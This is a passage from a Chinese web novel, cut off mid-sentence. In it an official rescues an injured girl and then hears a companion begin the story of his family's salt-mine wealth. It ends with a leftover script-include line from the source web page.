段霖痛在心里,这一切都是自己看似好心的举动竟然给这么一个无辜的姑娘带来了血光之灾。段霖示意身后的琴师照顾她,把她带离这个是非之地。自己则是快步上前一个凌空双飞踢将那二人踹翻在地,揪起楚风的衣领重重一拳打在他的脸上扭头就走,在他看来现在当务之急是霞清的伤势。自己和楚风有的是时间算账,等回到自己的住处看到床上躺的柔弱女子,受尽了常人这辈子都没有受过的切肤之苦。如鲠在喉竟然不知说些什么,拉着琴师出来关上了门。二人倚在墙边谈论起来:
“你们是怎么找到我的住处的?”
“多亏了一个小宫女,我们两个刚从那刑部出来就看到一位姑娘站在墙边踮着脚,叹着头向内窥探。见我们出来就领着我们来到了这里,说是一个讨厌鬼的住处。让我们放心住在这里,不知是大人的住处多有冒犯。”
“无妨,你们两位暂且住在这里。只要我还是我看看那个敢从我这个正三品的正宫侍郎手里拿人。不过,这位安兄为何要行刺当今皇上?如今天下太平,人人得以饱腹,事事自有律法。何必与天下为敌呢?”
“沈兄,你有所不知。我本是岳州的一户商贾家的弱子,我父亲是当地最富有的富商,祖上靠贩盐发家,我祖父在一座名叫羊肠山的深山中发现了大量黄色的晶块,这在我们当地被称为“地黄咸”。是一种矿物盐,只在我们岳州的羊肠山出产。当时我的祖父就靠此物发的横财,置办家宅,大买田地。每年上交大量的税务,听他说足以占全国纳税的十分之一,后来祖父年事过高无力操持,诺大个家业就传给了我父亲。但是,盐矿毕竟是天地孕育而出,终归是有个限度的。没过几年,就几近绝迹,但是我家中的田地依旧够我家富裕个几辈子。忽然有一天,一封圣旨送到了 我父亲面
/script src="https://m.ynfzff.com/17mb/scripts/test1.js">